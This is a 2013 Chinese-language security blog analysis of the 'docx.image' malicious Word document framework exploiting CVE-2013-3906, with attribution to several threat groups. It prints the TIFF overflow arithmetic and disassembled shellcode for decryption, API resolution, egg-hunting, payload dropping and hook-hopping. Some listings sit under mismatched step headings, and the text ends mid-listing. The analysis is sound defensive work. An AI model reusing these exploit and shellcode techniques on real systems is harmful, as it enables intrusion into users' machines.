阿碼外傳-阿碼科技非官方中文 Blog: 被俄、印、中各針對性攻擊者所利用之新型 Email 針對性攻擊惡意文件架構:「docx.image」之技術面與攻擊來源分析

2013年12月5日

被俄、印、中各針對性攻擊者所利用之新型 Email 針對性攻擊惡意文件架構:「docx.image」之技術面與攻擊來源分析


作者:Wayne Huang、Wilson Chiou、以及阿碼證點與 Proofpoint 美國、歐洲團隊
(英文版本同步發行於 Proofpoint 官方部落格

近期我們了解,攻擊者針對之前的 CVE-2013-3906 零時差漏洞所設計的攻擊文件,採用了多種新的技術,而至目前為止,至少被五組不同之攻擊集團所使用。我們稱這個框架為「docx.image」惡意文件框架,並認為它會成為以後惡意文件攻擊的樣版。我們利用此篇紀錄一下近期「docx.image」惡意文件架構被利用的狀況,並較深入解析此新惡意文件框架的設計原理。我們從兩個面向深入:

a)惡意文件架構設計與所使用的技術
b)採用的攻擊集團與所散播惡意軟體

這兩個面向讓我們對於此攻擊之發展,有了相當不錯的理解與觀察角度。我們先列出我們的結論,然後再提供詳細的分析資料。

[結論]
  1. 由於架構完整並內含數個較新的技術,我們認為 docx.image 架構會成為以後惡意文件攻擊的樣版
  2. 「docx.image」惡意文件框架,是利用了微軟 Word .docx 的檔案格式,其實也就是 ECMA-376 ("Ecma Office Open XML")格式,與之前傳統的 .doc 檔案格式很不一樣。

  3. 「docx.image」文件攻擊包的設計,可以很容易置換其中的惡意代碼(shellcode)與負載(payload),而不需要動到整個 .docx 文件。

  4. 第 I 類型被第一組攻擊者 「Janicab」(俄國,擅長 Windows / MacOS 雙軌齊下,利用 Youtube 來中繼交換後門指令,全球都打)與第二組攻擊者 「Arlab」(印度打巴基斯坦與克羅埃西亞,我們命名的)所使用,文件本身即內含 payload 與惡意程式。Shellcode 用 XOR 加殼,payload 為一個 dll(a.l)。shellcode 將其寫入磁碟後,呼叫 LoadLibrary 將其執行。藉此 dll(a.l) 內嵌有惡意軟體 a.exe 與假乾淨文件,一樣利用 XOR 脫殼後,取出利用。

  5. 第 II 類型被第三組攻擊者「Operation Hangover」(印度打巴基斯坦與伊朗)、第四組「Taidoor」(專打台灣,此次 email:公共工程委員會 / 103年度公共場所錄影監視規劃.docx)、與第五組「Winnti」(專打亞洲,著眼線上遊戲相關)等三組針對性攻擊團體所利用。惡意文件本身不內含 payload 與惡意程式,由 shellcode 使用 URLDownloadToFileA API 來下載惡意程式並執行之。

  6. 第 II 類型的 shellcode 採用了反沙盒(反 hooking)的 hook-hopping 技術,而 第 I 類型並未使用。

  7. 兩類型皆實做了「ActiveX heap spray」-- 利用 Word 本身的功能來完成 heap spraying,所以看不到 heap spray 的相關攻擊碼。同時,可以利用單一個圖檔,重複噴灑,而不需要於 Word 內部內嵌多個圖檔,徒增檔案大小以及特徵。

  8. 在第 I 類型之中,shellcode 利用 egg-hunting 來找到 payload,然後透過 XOR 脫殼後,寫成檔案 「a.l」並使用 LoadLibrary API 執行之。
  9. 此「docx.image」惡意文件框架,應於今年三月時,由俄國方面的攻擊者完成,後銷售給本文中之五個針對性攻擊團體使用。

  10. 兩類型的惡意 .docx 文件,都會在成功植入後門後,將原本的惡意 .docx 檔案「毀屍滅跡」,置換成一個乾淨的 .docx 檔案。
[事件回溯]
  1. 三月底:利用此漏洞的攻擊程式由俄方面研究成功(docx 中遺留下不少俄文),而其中許多檔案的建立日期為三月下旬至四月初。

  2. 7月7日:Janicab 團體首次對 Proofpoint 的客戶發動攻擊,惡意程式是 VBE 寫的,利用 Youtube 來中繼交換後門指令。雖然當時我們台灣阿碼科技做出的雲端沙盒偵測平台,幫 Proofpoint 擋下了這一波攻擊,但是當時我們並未查覺這波惡意文件的針對性攻擊是針對 CVE-2013-3906 這個零時差漏洞進行攻擊。

  3. 7月22日: Avast 發表關於 Janicab 集團的攻擊事件。Avast 當時並未意識該次攻擊乃利用了CVE-2013-3906 這個零時差漏洞。Janicab 團體是第一個被發現使用 docx.image 惡意文件架構進行攻擊的團體。

  4. 9月27日:「Arlab」集團(我們命名的)開始使用 docx.image 惡意文件攻擊 Proofpoint 的客戶。我們的雲端沙盒偵測平台於當時完封此波攻擊。當時我們並未發覺仍是利用此零時差漏洞。事後透過資料庫中的紀錄,我們發現了此「Arlab」針對性攻擊團體,並成功取得了對方的感染紀錄檔、程式、與工具。此團體以印度成員為主,對象則鎖定巴基斯坦與克羅埃西亞。當時他們利用 docx.image 散播植入 Citadel 後門。「Arlab」為第二個被發現使用 docx.image 惡意文件架構的針對性攻擊團體。

  5. 11月5日:McAfee 注意到有第三個集團使用 docx.image 惡意文件架構進行攻擊,並且也注意到,所打的是一個零時差漏洞:CVE-2013-3906。McAfee 是第一個向微軟回報此漏洞的資安廠商,但是其部落格文章中,並沒有特別指認出,或去研究該攻擊團體。

  6. 11月6日:FireEye 於部落格文章中,寫到了有關第二個團體(我們取名「Arlab」,FireEye取名 「Arx」)和第三個團體(Operation Hangover,McAfee 沒有指出這點)。同時,我們獨立的研究,顯示這一波的攻擊的受害者主要是針對巴基斯坦和克羅埃西亞兩國的目標。

  7. 11月12日:FireEye 指出,已有第四個團體使用 docx.image 惡意文件架構:專門攻擊台灣的 Taidoor 團體。這個集團主要是針對臺灣為目標。(此次 email:公共工程委員會 / 103年度公共場所錄影監視規劃.docx)。我們的研究顯示,這次攻擊對於 docx.image 架構的用法,很類似 Janicab 團體的用法。

  8. 11月14日:卡巴斯基發佈第五個集團使用此框架: Winnti 集團。此集團專打亞洲,著眼線上遊戲相關目標,以及竊取線上遊戲的程式碼。我們的研究顯示,這次 Winnti 對於 docx.image 架構的用法,很類似 Arlab 集團。

在二種類型中,第 I 類型的漏洞利用攻擊程式比較複雜,所以我們接下來,將第 I 類型作為我們分析的基礎。

[解析 docx.image 惡意文件架構,第 I 類型]

docx.image 惡意程式框架到底有什麼特殊?上述提及的五個團體又做了什麼客製化動作,以達成目的?

我們來看 Arlab 集團攻擊的方式。Arlab 客製化 docx.image 架構,做出了一個微軟的 Word .docx 文件,然後利用 email 的方式,將該文件傳送給攻擊目標。.docx 文件是一種 ECMA-376 ("Ecma Office Open XML") 文件,與之前傳統的 Word .doc 文件,在格式上有很大的不同。.docx 檔案整個是一個 .zip 檔,所以我們可以直接將附檔名改成 .zip,然後用系統的檔案總管,將一個 .docx 檔案解壓開來。

Arlab 所送出的惡意 .docx 文件,整包的架構如下圖:

被攻擊的目標收到這個 .docx 檔案,若將之點開,如果環境對,就會被植入 Citadel 後門。此外,這個 .docx 內部所附的 payload,還會在成功植入後門後,將原本的惡意 .docx 檔案「毀屍滅跡」,置換成一個乾淨的 .docx 檔案。

我們首先列出上述過程的每個步驟,然後逐步來分析:

第 1 步: 目標受害者打開 .docx 文件, 由於文件本身的設計,Word 開始在記憶體中做 heap spray。
第 2 步: .docx 文件內部有個 image2.tiff 圖形檔(內部是一張 jpg 圖),Word 開始想辦法將該圖顯示出來。
第 3 步: 由於該 image2.tiff 中的特殊設計,造成 Word 的記憶體被溢位(透過 ogl.dll)。
第 4 步: shellcode 被執行起來,並將自身脫殼。
第 5 步: shellcode 取得 18 個有用到的 kernel32 API 函式的指標。
第 6 步: shellcode 利用 egg-hunting 技巧,搜尋出位於 activeX1.bin 中的 payload。
第 7 步: shellcode 將此 payload 脫殼,並以檔名 "a.l" 寫入磁碟。
第 8 步: shellcode 呼叫 LoadLibrary,將 a.l 載入執行。

第 1 步: 目標受害者打開 .docx 文件, 由於文件本身的設計,Word 開始在記憶體中做 heap spray。

所有的攻擊碼中,看不到 heap spray 的相關攻擊碼;原因是,docx.image 的設計,是利用 Word 本身的功能來完成 heap spraying。把 .docx 解開後可以看出,在 word\activeX\_rels\目錄下,activeXn.xml.rels 檔案,都有相同的內容:
<Relationship Id="rId1" Type="http://...skip..." Target="activeX.bin"/≷
</Relationships≷
.docx 中,總共有 42個 activexn.xml.rels 這樣的檔案 -- 從 activex1.xml.rels 到 activex42.xml.rels,而且內容都完全相同。當受害者打開本 .docx 檔案時,Word 將檔案載入到記憶體、解壓縮它,並開始解析所有的.xml 和 xml.rels 檔案。上述的安排告訴 Word,要將 activex.bin 載入至記憶體中 42 次,所以 Word 照辦,於是就等於把 activex.bin 的內容於 heap 中噴灑了42次。您說這是不是相當有趣的 heap spray 方式呢?

第 2 步: .docx 文件內部有個 image2.tiff 圖形檔(內部是一張 jpg 圖),Word 開始想辦法將該圖顯示出來。

我們注意到在 word\ 目錄下(正確的名稱是「儲存,store」), 有個指向 image2.tiff 的 document.xml 檔案,裡面有俄文:"Рисунок"("圖"):
<wp:docPr id="7" name="Рисунок 6" descr="image1.tiff"/>
這是當初 docx.image 的研發人員所留下的 「殘留物」,整個 .docx 中其實找不到任何 "image1.tiff" 檔案。然而,由 word\_rels\document.xml.rels 所指到的 "media/image2.tiff" 檔案,則是存在的:
<Relationship Id="rId53" 
Type="http://schemas...skip...relationships/" 
Target="media/image2.tiff"/>
因此,此時 Word 會嘗試載入並秀出 image2.tiff。

第 3 步: 由於該 image2.tiff 中的特殊設計,造成 Word 的記憶體被溢位(透過 ogl.dll)。
為了要秀出 image2.tiff,Word 使用了以下 .dll 中的函式:
C:\Program Files (x86)\Common Files\microsoft shared\OFFICE12\OGL.DLL
該 .dll 就是本漏洞 CVE-2013-3906 的所在位置。TIFF 的檔案格式中規定,一個 TIFF 檔案的第 2 個 DWORD,描述了該檔中第一個 IFD (Image File Directory) 於檔案中的相對位置:
typedef struct _TiffHeader
{
  WORD  Identifier;  /* Byte-order Identifier */
  WORD  Version;     /* TIFF version number (always 2Ah) */
  DWORD IFDOffset;   /* Offset of the first Image File Directory*/
} TIFHEAD;
我們來看一下 docx.image 惡意文件的檔頭長得如何:

從上圖我們可以看到, 第一個 IFD 的所在位置是0x000049C8,所以我們到那裏:

從上面看出,TagCount = 0x0011 = 17;總共有17個 IFD。 每個 IFD 的開頭都是一個 Tag,用來指定該 IFD 的種類。以下我們把 image2.tiff 中的17個 IFD 的標記都列出來:
 Tag | Type | count    | val OR offset
00FE | 0004 | 00000001 | 00000000 - NewSubfileType
0100 | 0003 | 00000001 | 000002AB - ImageWidth  = 2ABh (683)
0101 | 0003 | 00000001 | 00000152 - ImageLength = 152h (338)
0102 | 0003 | 00000003 | 0000331E - BitsPerSample
0103 | 0003 | 00000001 | 00000006 - Compression = JPEG
0106 | 0003 | 00000001 | 00000002 - PhotometricInterpretation
0111 | 0004 | 00000044 | 00003434 - StripOffsets
0115 | 0003 | 00000001 | 00000003 - SamplesPerPixel
0116 | 0004 | 00000001 | 00000005 - RowsPerStrip
0117 | 0004 | 00000044 | 00003324 - StripByteCounts
011A | 0005 | 00000001 | 0000330E - XResolution
011B | 0005 | 00000001 | 00003316 - YResolution
011C | 0003 | 00000001 | 00000001 - PlanarConfiguration
0128 | 0003 | 00000001 | 00000002 - ResolutionUnit = Inch
013D | 0003 | 00000001 | 00000001 - Predictor
0202 | 0004 | 00000001 | 00001484 - JPEGInterchangeFormatLength
0201 | 0004 | 00000001 | 00003544 - JPEGInterchangeFormat

當 ogl.dll 嘗試秀出 image2.tiff 時,會發現此 TIFF 中有一張 jpg 圖,於是 ogl.dll 會開始配置所需要的記憶體,大小 = JFIF_size + strip_size [0] + [1] strip_size +......+ strip_size [n-1]。所以,這裡的重點就是 StripByteCounts (0x0117)和 JPEGInterchangeFormatLength (0x0202)這兩個 IFD。

從第 16 個IFD(JPEGInterchangeFormatLength,0x0202)我們可以看出,我們 JFIF 的大小是 0x1484。那麼剩下來要算的就是 StripSize = strip_size [0] + [1] strip_size +......+ strip_size [n-1]了。

從第 10 個的 IFD(StripByteCounts,0x0117),我們可以看出,這個 IFD 有 0x44 strips,而且在檔案中的相對位址為 0x3324。那麼我們就到 image2.tiff 中的 0x3324 位址處看一下。我們看到:
所以,我們如果把 0x44 strips 全部加總起來,可以得到 StripSize =0xFFFFB898 + 0x000000B2 + 0x000000B2 + 0x000000B3 + 0x000000B3 + 0x000000B1 + 0x000000B1 + … (0x44 DWORDs) = 0xFFFFEAEC

終於,我們可以算出,要秀出該 JPG 圖,所需要配置的記憶體大小 = JFIF_size + ((0x44)*2+8) + strip_size[0] + strip_size[1]+...+strip_size[n-1] = 0x1484 + 0x90 + 0xFFFFEAEC = 0x100000000:哈,剛好溢位了,變成 0!也就是說,ogl.dll 配置了一個大小為 0 的記憶體空間,要將位於 image2.tiff 中的 JPG 圖拷貝進去,於是當然就產生了記憶體溢位。對於上述的公式,我們直接看 ogl.dll 反組譯後的程式碼,就更清楚了:
3BDC576D push    ebp
3BDC576E mov     ebp, esp
3BDC5770 movzx   ecx, word ptr [edi+0ECh]
3BDC5777 xor     eax, eax
3BDC5779 test    ecx, ecx
3BDC577B push    esi
3BDC577C jle     short loc_3BDC5793
3BDC577E mov     edx, [edi+0A0h] ; StripByteCounts table's base
3BDC577E                         ; address (0x3324)
3BDC5784 movzx   esi, word ptr [edi+0ECh] ; 0x44 strips
3BDC578B
3BDC578B sumStripByteCounts:     ; CODE XREF: sub_3BDC576D+24j
3BDC578B add     eax, [edx]
3BDC578D add     edx, 4
3BDC5790 dec     esi
3BDC5791 jnz     short sumStripByteCounts 
3BDC5791                         ; Sum up all 0x44 strips,
3BDC5791                         ; at the end, eax = 0xFFFFEAEC
3BDC5793
3BDC5793 loc_3BDC5793:           ; CODE XREF: sub_3BDC576D+Fj
3BDC5793 mov     esi, [ebp+Size] ; esi = JPEGInterchangeFormatLength
3BDC5793                         ; (0x1484)
3BDC5796 lea     eax, [eax+ecx*2+8]
3BDC5796                         ; eax += (0x44*2+8 = 0x90)
3BDC5796                         ; so now, eax = 0xFFFFEB7C
3BDC579A add     eax, esi        ; 0xFFFFEB7C + 0x1484, overflow
3BDC579A                         ; eax = 0
3BDC579C push    eax             ; dwBytes
3BDC579D mov     [edi+160h], eax
3BDC57A3 call    RtlAllocateHeap ; allocate 0 bytes (writing anything
3BDC57A3                         ; to the buffer will cause overflow)
3BDC57A8 test    eax, eax
3BDC57AA mov     [edi+164h], eax
3BDC57B0 jnz     short loc_3BDC57BA
3BDC57B2 or      eax, 0FFFFFFFFh
3BDC57B5
3BDC57B5 loc_3BDC57B5:           ; CODE XREF: sub_3BDC576D+10Dj
3BDC57B5 pop     esi
3BDC57B6 pop     ebp
3BDC57B7 retn    8
我們繼續往下看,接下來,ogl.dll 呼叫 memcpy() 將 JFIF(JPG 圖)複製到剛才所配置好的記憶體(該記憶體大小為 0):
3BDC57BA mov     ecx, [ebp+Src]
3BDC57BD push    ebx
3BDC57BE push    dword ptr [edi+108h]
3BDC57C4 push    esi
3BDC57C5 call    sub_3BE21ADC
3BDC57CA mov     ebx, eax
3BDC57CC test    ebx, ebx
3BDC57CE jl      loc_3BDC5890
3BDC57D4 push    [ebp+Size]      ; Size =
3BDC57D4                         ; JPEGInterchangeFormatLength
3BDC57D4                         ; (0x1484)1
3BDC57D7 mov     esi, [edi+164h]
3BDC57DD push    [ebp+Src]       ; Src = The JFIF within the
3BDC57DD                         ; TIFF (JPEGInterchangeFormat)
3BDC57E0 push    esi             ; Dst = the 0-bytes buffer
3BDC57E0                         ; previously allocated
3BDC57E1 call    memcp
memcpy()會從哪裡複製到哪裡,又複製多少位元呢?它會從 IFD:JPEGInterchangeFormat(在 image2.tiff 中的第 17個 IFD)所指定的 JFIF 位址開始,拷到之前所配置的 0 位元組的記憶體內,一共會複製由 IFD:JPEGInterchangeFormatLenth (在 image2.tiff 中的第 16 個 IFD)所指定的 0x1484 個位元組。

這也就這意味著,此惡意文件會造成一次長度為 0x1484 個位元組的溢位,溢位發生的位址,是在 esi 所指的地方,所拷貝的內容,則是 JFIF,也就是 image2.tiff 中那張 JPG 圖的內容。

這張 JPG 圖的內容,將會是溢位後的重點。我們來看看,究竟這圖的內容是什麼?這張圖(JFIF)的所在位址,應該是在.docx 的 IFD:JPEGInterchangeFormat = 0x3544 這裡(見上面的 17 JFD 表)。那麼我們去 0x3544 的地方看看:
以上就是會被複製的資料了!所以從這裡開始,ogl.dll 將一共複製 0x1484 個位元組,到剛才那個配置大小為 0 的記憶體位置,並造成記憶體溢出。被這溢出所影響到的程式片段如下:
3BE2026B push    ebp
3BE2026C mov     ebp, esp
3BE2026E mov     eax, [ebp+arg_0]
3BE20271 lea     ecx, [eax+158h]
3BE20277 push    ecx
3BE20278 push    0
3BE2027A push    [ebp+arg_4]
3BE2027D push    dword ptr [eax]
3BE2027F call    dword ptr [eax+20h] ; eax+0x20 points to 08080808
3BE2027F                             ; due to the memory overflow
最後的呼叫( call) 會跳到 eax+0x20 所記錄的位址。由於該記憶體被溢位了,溢位後的內容變成了 0x08080808,所以,這個 call 也就變成會跳到 0x08080808 那裡了。那麼 0x08080808 那裡是什麼資料呢?在第 3 步中所進行完畢的 heap spray 動作,就是造成 0x08080808 附近的記憶體,會被Word 自己噴灑成 activex.bin 的內容,也就是說,shellcode 就在那裡 :)

第 4 步: shellcode 被執行起來,並將自身脫殼。
shellcode 一如往常地,是經過 XOR 加殼的。在 docx.image 中,shellcode的大小(0x27E bytes)以及脫殼的key(0xEE)是寫死不變的,然後一開始的 shellcde 以一個簡單的 XOR 迴圈來進行脫殼:
0854 nop
0855 nop
0856 nop
0857 nop
0858 and     sp, 0FFFCh
085D jmp     short loc_870
085F
085F ; =============== S U B R O U T I N E ==========
085F code_decryptor  proc near 
085F pop     ebx             ; obtain address of
085F                         ; encrypted shellcode
0860 dec     ebx
0861 xor     ecx, ecx
0863 or      cx, 27Eh        ; hard-coded code size=0x27E
0868
0868 loc_868:                ; CODE XREF: code_decryptor+Dj
0868 xor     byte ptr [ebx+ecx], 0EEh 
0868                         ; XOR all bytes with 0xEE
0868                         ; (hard-coded key: 0xEE)
086C loop    loc_868
086C code_decryptor  endp
086C
086E jmp     short loc_875
0870 ; ----------------------------------------
0870
0870 loc_870:                ; CODE XREF: 0000085Dj
0870 call    code_decryptor
0875 ; ----------------------------------------
0875 loc_875:                ; CODE XREF: 0000086Ej
0875 jmp     loc_AA6         ; this part was originally
0875                         ; encrypted code.
第 5 步: shellcode 取得 18 個有用到的 kernel32 API 函式的指標。 這個 shellcode 總共使用了 18 個 kerner32.dll 中的 API 函式,所以現在我們必須取得這些 API 在記憶體中的位址。我們先從 PEB 中搜尋出 kernel32.dll 的起始位址,然後再利用每個函式的校驗值,撈出這 18 個函式的位址:
087A lib_dropper     proc near
087A pop     edi
087B mov     eax, fs:LoadLibraryA; PEB
0881 mov     eax, [eax+0Ch]
0884 mov     esi, [eax+1Ch]
0887 lodsd
0888
0888 loc_888:
0888 mov     ebp, [eax+8]    ; / BEGIN
0888                         ; Search for kernel32.dll base
088B mov     esi, [eax+20h]
088E mov     eax, [eax]
0890 cmp     byte ptr [esi], 6Bh ; 'k'ernel
0893 jnz     short loc_888
0895 inc     esi
0896 inc     esi
0897 cmp     byte ptr [esi], 65h ; k'e'rnel
089A
089A loc_89A:
089A jnz     short loc_888
089C inc     esi
089D inc     esi
089E cmp     byte ptr [esi], 72h ; ke'r'nel
08A1 jnz     short loc_89A
08A3 inc     esi
08A4 inc     esi
08A5 cmp     byte ptr [esi], 6Eh ; ker'n'el
08A8 jnz     short loc_89A   ; \ END kernel32 search
08AA mov     esi, edi        ; ESI = ptr 00000AAB
08AC push    12h             ; a total of 18 functions are needed
08AE pop     ecx
08AF
08AF enum_proc_addresses: 
08AF call    Custom_GetProcAddress 
08AF                         ; Enumerate function
08AF                         ; addresses into addr:ESI
08B4 loop    enum_proc_addresses
這 18 個被用到的函式如下:
GetTempPathA
FreeLibraryAndExitThread
CreateFileA
CloseHandle
WriteFile
GetCurrentProcessId
CreateToolhelp32Snapshot
Thread32First
Thread32Next
SuspendThread
OpenThread
GetCurrentThreadId
LoadLibraryA
FreeLibrary
SetFilePointer
GetFileSize
VirtualAlloc
ReadFile
第 6 步: shellcode 利用 egg-hunting 技巧,搜尋出位於 activeX1.bin 中的 payload。
Shellcode 擁有了其所需要的 API 位址後,就要開始找尋 存在於 activex1.bin 中的 payload 了。找尋的方式,是逐一查看所有被目前這個執行緒(屬 Word)所開啟的檔案,然後用 egg-hunting 技巧,設法於檔案中找出 egg。此 egg(0xB19B00B5)存在於 activex1.bin 的一開頭,目的就是為了能夠標示出 activex1.bin 於記憶體中的位置,方便我們搜尋。

為了達到以上目標,shellcode 必須先於記憶體中,找到自己本身這個 .docx 檔案。所以 shellcode 執行了以下三個動作:
A. 拿到下一個有被 Word 開啟的檔案的 handle。
B. 如果該檔案大小 < 1000 h,那這個檔一定不是我們的 .docx 檔,跳回到 A。
C. 在檔案位址 0x20 處,,讀進來 4 個位元組,判斷是否等於"cProp"?如果不是,則回到 A。

"cProp" 實際上是 "docProps" 的片段。只要是 .docx 檔案,一定會有 "docProps" 這個目錄,所以第 C 動作,是判斷此檔案是否為一個 .docx 檔案。
0915
0915 loc_915:
0915 add     ebx, 4          ; / BEGIN egg-hunting for payload
0918 cmp     ebx, offset unk_100000
091E ja      loc_9A9         ; / BEGIN iterate through
091E                         ; all open file handles
0924 xor     eax, eax
0926 push    eax             ; DWORD dwMoveMethod = FILE_BEGIN
0927 push    eax             ; PLONG lpDistanceToMoveHigh = 0
0928 mov     al, 20h         ; ' '
092A push    eax             ; LONG lDistanceToMove = 0x20
092B push    ebx             ; HANDLE hFile
092C call    ds:SetFilePointer[esi] ; set to 0x20
092F cmp     eax, 0FFFFFFFFh
0932 jz      short loc_915   ; \ END
0934 xor     eax, eax
0936 push    eax             ; LPTSTR lpBuffer
0937 push    ebx             ; DWORD nBufferLength
0938 call    ds:GetFileSize[esi] ; if size < 1000h, then
093B cmp     eax, 1000h      ; it is NOT the malicious docx
0940 jl      short loc_915
0942 mov     edi, eax
0944 sub     esp, 4
0947 mov     ecx, esp
0949 sub     esp, 4
094C mov     edx, esp
094E xor     eax, eax
0950 push    eax             ; LPOVERLAPPED lpOverlapped = NULL
0951 push    ecx             ; LPDWORD lpNumberOfBytesRead
0952 push    4               ; DWORD nNumberOfBytesToRead = 0x04
0954 push    edx             ; LPVOID lpBuffer
0955 push    ebx             ; HANDLE hFile = 0 = self handle
0956 call    ds:ReadFile[esi]; at offset 0x20
0959 test    eax, eax
095B pop     eax
095C pop     ecx
095D jz      short loc_915
095F cmp     eax, 6F725063h  ; check for do"cPro"ps
0964 jnz     short loc_915
0966 sub     edi, 24h ; '$'  ; / BEGIN Allocate space for payload
0966                         ; need: docx files size - 0x24 bytes
0966                         ; (0x20 offset + 4 bytes "cProp")
0966                         ; -----------------------------------
0969 push    4               ; DWORD flProtect = PAGE_READWRITE
096B push    3000h           ; DWORD flAllocationType = 
096B                         ; MEM_COMMIT & MEM_RESERVE
0970 push    edi             ; SIZE_T dwSize
0971 push    0               ; LPVOID lpAddress = NULL
0973 call    ds:VirtualAlloc[esi]
0976 sub     esp, 4
0979 mov     ecx, esp        ; ----------------------------
0979                         ; \ END
097B push    0               ; LPOVERLAPPED lpOverlapped = NULL
097D push    ecx             ; LPDWORD lpNumberOfBytesRead
097E push    edi             ; DWORD nNumberOfBytesToRead
097E                         ; = GetTempPathA result - 0x24
097F push    eax             ; LPVOID lpBuffer = obtainded
097F                         ; via Virtual Alloc()
0980 mov     edi, eax
0982 push    ebx             ; HANDLE hFile
0983 call    ds:ReadFile[esi]
0986 test    eax, eax
0988 pop     edx
0989 jz      short loc_9A9
098B mov     eax, 0B19B00B5h ; Egg: 0xB19B00B5
0990
0990 loc_990:                ; CODE XREF: lib_dropper+11Ej
0990                         ; lib_dropper+128j
0990 inc     edi
0991 dec     edx
0992 test    edx, edx        ; edx == 0?
0994 jle     short loc_9A9   ; edx==0 but no egg found, jump
0996 cmp     [edi], eax
0998 jnz     short loc_990
099A add     edi, 4
099D sub     edx, 4
09A0 cmp     [edi], eax
09A2 jnz     short loc_990
09A4 add     edi, 4
09A7 jmp     short loc_9F3   ; Egg has been found!
09A9 ; ----------------------------------------
第 7 步: shellcode 將此 payload 脫殼,並以檔名 "a.l" 寫入磁碟。
找到 egg 後,此 egg 所在位址的前幾個位元組,就是 XOR 的 key 以及 shift 所需要使用到的參數。這兩個值,都是接下來將 payload 脫殼所需要用到的。於是接下來,shellcode 使用 XOR-shift 演算法,將緊接於 egg 後面的 payload 脫殼,並寫入磁碟為 "%temp%\a.l".
09A9 loc_9A9:
09A9 mov     bx, cs
09AC cmp     bl, 23h         ; '#'
09AF jnz     short loc_9B7
09B1 xor     edx, edx
09B3 push    edx
09B4 push    edx
09B5 push    edx
09B6 push    edx
09B7
09B7 loc_9B7:
09B7 mov     edx, offset unk_FFFFF
09BC
09BC loop_inc_page:
09BC or      dx, 0FFFh       ; add PAGE_SIZE-1 to edx
09C1
09C1 loop_inc_one:
09C1 inc     edx             ; increment pointer by one
09C2 push    edx             ; save edx
09C3 cmp     bl, 23h         ; '#'
09C6 jz      short loc_9E1
09C8 push    2               ; push NtAccessCheckAndAuditAlarm
09CA pop     eax             ; pop into eax
09CB int     2Eh             ; perform the syscall
09CD pop     edx             ; restore edx
09CE
09CE loc_9CE:                
09CE cmp     al, 5
09D0 jz      short loop_inc_page
09D0                  ; yes, invalid ptr, go to the next page
09D0 
09D2 mov     eax, 0B19B00B5h ; eax = Egg: 0xB19B00B5
09D7 mov     edi, edx ; Set edi to the pointer we validated
09D9 scasd            ; Compare the dword in edi to ea
09DA jnz     loop_inc_one 
09DA                  ; No match? Increment the pointer by one
09DC scasd            ; Compare the dword in edi to eax again
09DC                  ; (which is now edx + 4)
09DD jnz     loop_inc_one
09DD                  ; No match? Increment the pointer by one
09DF jmp     short loc_9F3 ; Egg has been found!
第 8 步: shellcode 呼叫 LoadLibrary,將 a.l 載入執行。
在這最後一個步驟中,shellcode 呼叫 LoadLibrary,載入 a.l,成功執行 payload:
09FB push    ebx             ; / BEGIN construct payload
09FB                         ;   file name
09FB                         ; LPTSTR lpBuffer
09FC push    0FCh            ; DWORD nBufferLength
09FC                         ; = 0xFC (252 bytes)
0A01 call    ds:GetTempPathA[esi] ; %temp%
0A03 mov     dword ptr [ebx+eax], 6C2E61h ; filename = "a.l"
0A0A xor     eax, eax
0A0C push    eax             ; HANDLE hTemplateFile = NULL
0A0D push    2               ; DWORD dwFlagsAndAttributes
0A0D                         ; = FILE_ATTRIBUTE_HIDDEN
0A0F push    2               ; DWORD dwCreationDisposition
0A0F                         ; = CREATE_ALWAYS
0A11 push    eax             ; LPSECURITY_ATTRIBUTES
0A11                         ; lpSecurityAttributes = NULL
0A12 push    eax             ; DWORD dwShareMode = NULL
0A13 push    40000000h       ; DWORD dwDesiredAccess
0A13                         ; = GENERIC_WRITE
0A18 push    ebx             ; LPCTSTR lpFileName
0A19 call    ds:CreateFileA[esi] ; \ END
0A1C mov     edx, eax
0A1E push    edx
0A1F push    edx
0A20 push    ebx
0A21 mov     al, [edi]       ; key for XOR decryption
0A23 inc     edi
0A24 mov     bl, [edi]       ; key shift
0A26 inc     edi
0A27 mov     ecx, [edi]
0A29 push    ecx             ; payload size
0A2A add     edi, 4          ; EDI now points to beginning
0A2D push    edi             ; of encrypted payload
0A2E
0A2E XOR_shift_decrypt:      ; CODE XREF: lib_dropper+1C0j
0A2E mov     dl, [edi]       ; / BEGIN payload decryption
0A30 xor     dl, al
0A32 mov     [edi], dl
0A34 inc     edi
0A35 add     al, bl
0A37 dec     ecx
0A38 test    ecx, ecx
0A3A jnz     short XOR_shift_decrypt ; \ END
Payload 被執行起來後,會將內嵌於自身內部的一個惡意程式(.exe)寫入磁碟並執行起來,然後利用也是內嵌於自身內部的一個乾淨的 .docx 檔案,覆蓋掉原本的惡意 .docx 檔案,毀屍滅跡。

[第 II類型 hook-hopping 技巧]
第 II 類型不同於第 I 類型的地方,在於:
  1. shellcode 使用了反沙盒(hooking)的 hook-hopping 技巧。
  2. 不內嵌 payload 與惡意程式,而是使用 URLDownloadToFileA 來下載惡意程式。
那麼最後讓我們來看看所以讓我們看看第 II類型所使用的 hook-hopping 技巧。第 II 類型 shellcode 實做了二個重要的程序:get_func 和 hook_hop。

get_func 負責從所需要的 dll 中,撈出所需要的函式。此 shellcode 主要用到了:kernel32.dll、urlmon32.dll 和 shell32.dll:
0A45 push    0               ; LPOVERLAPPED lpOverlapped = NULL
0A47 push    eax             ; LPDWORD lpNumberOfBytesWritten
0A48 push    ecx             ; DWORD nNumberOfBytesToWrite
0A49 push    edi             ; LPCVOID lpBuffer
0A4A push    edx             ; HANDLE hFile
0A4B call    ds:WriteFile[esi]
0A4E pop     eax             ; HANDLE hFile
0A4F call    ds:CloseHandle[esi]
0A52 push    ebx
0A53 call    ds:LoadLibraryA[esi]
0A56 push    eax
0A57 call    ds:FreeLibrary[esi]
0A5A xor     eax, eax
0A5C push    eax
0A5D push    eax
0A5E call    dword ptr ds:FreeLibraryAndExitThread[esi]
0A5E lib_dropper     endp
hook_hop 則負責執行 hook-hopping。它會檢查每個函式所在位址的第一個位元組(byte 0)。 如果發現該位元組是一個 CALL、JMP 或者 INT3 指令,則 hook_hop 會將第一個指令跳過。
0916 ; =============== S U B R O U T I N E =============
0916 get_func proc near
0916 push    ebx
0917 push    eax
0918 push    edi
0919 mov     ebx, esi        ; kernel32 base address
091B push    esi
091C mov     esi, [ebx+3Ch]  ; get PE signature's offset
091F mov     esi, [esi+ebx+78h] ; get Export Table's address = 262C
0923 add     esi, ebx        ; move the pointer to the Export Table
0925 push    esi
0926 mov     esi, [esi+20h]
0929 add     esi, ebx
092B xor     ecx, ecx
092D dec     ecx
092E
092E loc_92E:                ; CODE XREF: get_func+31j
092E inc     ecx
092F lodsd                   ; Obtain pointer to the function name
092F                         ; ex: "CloseHandle"
0930 add     eax, ebx
0932 push    esi
0933 xor     esi, esi
0935
0935 loc_935:                ; CODE XREF: get_func+2Cj
